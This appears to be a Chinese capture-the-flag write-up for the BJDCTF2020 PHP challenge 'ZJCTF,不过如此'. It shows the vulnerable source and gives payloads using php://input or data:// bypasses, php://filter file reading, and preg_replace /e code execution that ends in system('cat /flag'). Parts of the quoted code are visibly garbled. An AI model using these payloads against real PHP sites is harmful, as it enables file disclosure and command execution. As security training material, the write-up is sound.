[BJDCTF2020]ZJCTF,不过如此

题目

  1. <?php
  2. error_reporting(0);
  3. $text = $_GET["text"];
  4. $file = $_GET["file"];
  5. if(isset($text)&&(($text,'r')==="I have a dream")){
  6. echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
  7. if(preg_match("/flag/",$file)){
  8. die("Not now!");
  9. }
  10. # 暗示了包含的文件是next.php
  11. include($file); //next.php
  12. }
  13. else{
  14. highlight_file(__FILE__);
  15. }
  16. ?>

考点

1、php://input或data:// 绕过file_get_contents
2、php://filter 读取文件内容
3、preg_replace /e 代码执行漏洞,参考文章

解题

payload

?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php POST: I have a dream

或者

?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read/convert.base64-encode/resource=next.php

image.png
解密得到next.php的源码
preg_replace /e 代码执行漏洞参考文章
php 5.5之后/e已被弃用
image.png

  1. <?php
  2. $id = $_GET['id'];
  3. $_SESSION['id'] = $id;
  4. function complex($re, $str) {
  5. # 会导致第二个参数的字符串将会当作代码执行
  6. return preg_replace(
  7. '/(' . $re . ')/ei',
  8. 'strtolower("\\1")',
  9. $str
  10. );
  11. }
  12. foreach($_GET as $re => $str) {
  13. echo complex($re, $str). "\n";
  14. }
  15. function getFlag(){
  16. @eval($_GET['cmd']);
  17. }

/next.php?\S=${getFlag()}&cmd=phpinfo();
/next.php?\S
=${getFlag()}&cmd=system(%27cat%20/flag%27);